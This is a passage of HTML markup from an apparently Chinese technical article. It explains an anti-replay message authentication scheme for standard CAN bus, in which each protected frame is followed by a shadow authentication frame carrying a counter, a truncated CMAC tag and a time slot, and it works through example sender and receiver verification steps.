0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">2.获取静态配置：</span></p><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">密钥 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key = 0xsecretkey</span></code></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">影子认证帧ID </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39; = 0x200</span></code></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">当前计数器 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr = 0x0B</span></code></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">当前时间片 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp = 0x03</span></code></span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">3.执行流程：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a.</span></strong><span leaf=""> 拼接 Input： </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x100 + [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + 0x0B + 0x03</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">b.</span></strong><span leaf=""> 用 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key</span></code><span leaf="">计算 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Input</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">CMAC</span></code><span leaf="">，得到 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">c.</span></strong><span leaf=""> 发送第一帧（业务帧）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">ID</span>=<span class="code-snippet__number">0</span>x100, Data=[<span class="code-snippet__number">0</span>x01, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00, <span class="code-snippet__number">0</span>x00]</span></code></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">d.</span></strong><span leaf=""> 发送第二帧（认证帧）：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">ID</span>=<span class="code-snippet__number">0</span>x200, Data=[<span class="code-snippet__number">0</span>x0B, Tag_H, Tag_L, <span class="code-snippet__number">0</span>x03, <span class="code-snippet__number">0</span>xAA, <span class="code-snippet__number">0</span>xAA, <span class="code-snippet__number">0</span>xAA, <span class="code-snippet__number">0</span>xAA]</span></code></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">e.</span></strong><span leaf=""> 将 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x100</span></code><span leaf=""> 对应的计数器加一，变为 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x0C</span></code></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">发送端示例流程图</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">flowchart TD</span></code><br/><code><span leaf="">    A[应用层请求发送关键帧s] <span class="code-snippet__comment">--&gt; B[获取ctr和Time_Stamp]</span></span></code><br/><code><span leaf="">    B <span class="code-snippet__comment">--&gt; C[构造输入数据: Input = s.ID + s.DATA + ctr + Time_Stamp]</span></span></code><br/><code><span leaf="">    C <span class="code-snippet__comment">--&gt; D[计算Full_Tag = CMACkey, Input]</span></span></code><br/><code><span leaf="">    D <span class="code-snippet__comment">--&gt; E[截取Tag16 = 前16位]</span></span></code><br/><code><span leaf="">    E <span class="code-snippet__comment">--&gt; F[发送业务帧s]</span></span></code><br/><code><span leaf="">    F <span class="code-snippet__comment">--&gt; G[发送影子认证帧x&#39;&lt;br&gt;数据: ctr, Tag_H, Tag_L, Time_Stamp, 填充]</span></span></code><br/><code><span leaf="">    G <span class="code-snippet__comment">--&gt; H[更新计数器: ctr = ctr + 1]</span></span></code><br/><code><span leaf="">    H <span class="code-snippet__comment">--&gt; I[发送完成]</span></span></code><br/><code></code><br/><code><span leaf="">    subgraph 示例配置</span></code><br/><code><span leaf="">        J[帧ID: <span class="code-snippet__number">0x100</span>]</span></code><br/><code><span leaf="">        K[数据: <span class="code-snippet__number">0100000000000000</span>]</span></code><br/><code><span leaf="">        L[计数器: <span class="code-snippet__number">0x0B</span>]</span></code><br/><code><span leaf="">        M[时间片: <span class="code-snippet__number">0x03</span>]</span></code><br/><code><span leaf="">        N[影子认证帧ID: <span class="code-snippet__number">0x200</span>]</span></code><br/><code><span leaf="">        O[密钥: <span class="code-snippet__number">0</span>xsecretkey]</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">end</span></span></code><br/></pre></p><wiz-editor-doc data-source="wiz-editor-doc::eyJibG9ja3MiOlt7ImlkIjoiX2Nta1U2WHN4IiwidHlwZSI6ImVtYmVkIiwiZW1iZWRUeXBlIjoiaW1hZ2UiLCJlbWJlZERhdGEiOnsic3JjIjoicHoxQk04SkR3VUw1YUpiWUxtZFpCVjdmVGRkYXg4cUtvWXhTZUhRTUhFRS5wbmciLCIyMjJmMzYyMDQ4M2NiMzZkNzdjODIyNTc0ZjkyNGEyZV9jb21tZW50cyI6W119LCJhbGlnbiI6ImNlbnRlciJ9XSwiY29tbWVudHMiOnt9LCJtZXRhIjp7ImFwcElkIjoiMzJiNDFlZTAtN2Q5Zi0xMWVjLWJhNmMtMjFkOTY5NTJkNDQ2IiwiZG9jSWQiOiJjOGM3NDcyYi00ZWQxLTQ2NzYtYmQyMy1jNDdjODJiMTM4NGUiLCJ0aXRsZSI6IuWfuuS6juWinuWKoOW4p-eahOaWueW8j-WcqOagh-WHhkNBTuS4iuWunueOsOmYsumHjeaUvueahOaWueahiCIsImZpcnN0QmxvY2tJZCI6Il9jbWtVNlhzeCIsImFwaVNlcnZlciI6Imh0dHBzOi8vdmlwa3NodHRwczEud2l6LmNuL2VkaXRvci8zMmI0MWVlMC03ZDlmLTExZWMtYmE2Yy0yMWQ5Njk1MmQ0NDYvYzhjNzQ3MmItNGVkMS00Njc2LWJkMjMtYzQ3YzgyYjEzODRlIiwidG9rZW4iOiJXLjdLRUt3a21Cb0k0MzBEc29SSVgwZW9oRWpTV3AxZXJDdTNJektMVnNId3g3c3RVUnNPUm1jNTJ2d0dnOTJrQSJ9fQ::wiz-editor-doc" data-pm-slice="0 0 []"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100031551" data-ratio="0.6759259259259259" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d9d1a3ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cENdr9gtiaxNQDfHxZobG1X7DEUWqxvqwa946LcX7usUicdj9L8z3LO5LA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></wiz-editor-doc><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">接收端：</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">接收端自身维护一个当前的有效时间片值</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">My_Time_Stamp</span></code><span leaf="">（比如由网关同步或根据自身系统时间计算得出）和为每个发送源（或每个帧ID）维护一个最后有效的计数器值(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">last_valid_ctr</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">校验流程：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">1.总线收到一帧：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a.接收端逻辑</span></strong><span leaf="">：这是受保护的关键帧</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">，我需要等待它的影子认证帧进行验证</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">b.动作</span></strong><span leaf="">：将这份数据</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s.ID</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s.DATA</span></code><span leaf=""> 存入缓存池，并暂停对该帧的应用层处理，启动一个定时器（例如200ms）</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">2.总线收到下一帧：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a.接收端逻辑</span></strong><span leaf="">：这是我正在等待对应 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x100</span></code><span leaf=""> 的影子认证帧</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">b.动作：</span></strong></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">1）从缓存中查找影子认证帧对应的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ID=0x100</span></code><span leaf="">业务帧数据 2）从影子认证帧数据场中提取：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf=""><span class="code-snippet__bullet">*</span> ctr<span class="code-snippet__emphasis">_recv = 0x0B</span></span></code><br/><code><span leaf="">* Tag16_recv = 0x0102 (高字节0x01 + 低字节0x02) //Tag<span class="code-snippet__emphasis">_H、Tag_</span>L，此处假设是0102</span></code><br/><code><span leaf=""><span class="code-snippet__bullet">*</span> Time<span class="code-snippet__emphasis">_Stamp_</span>recv = 0x03</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">3.接收端开始重现发送端的计算过程：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: 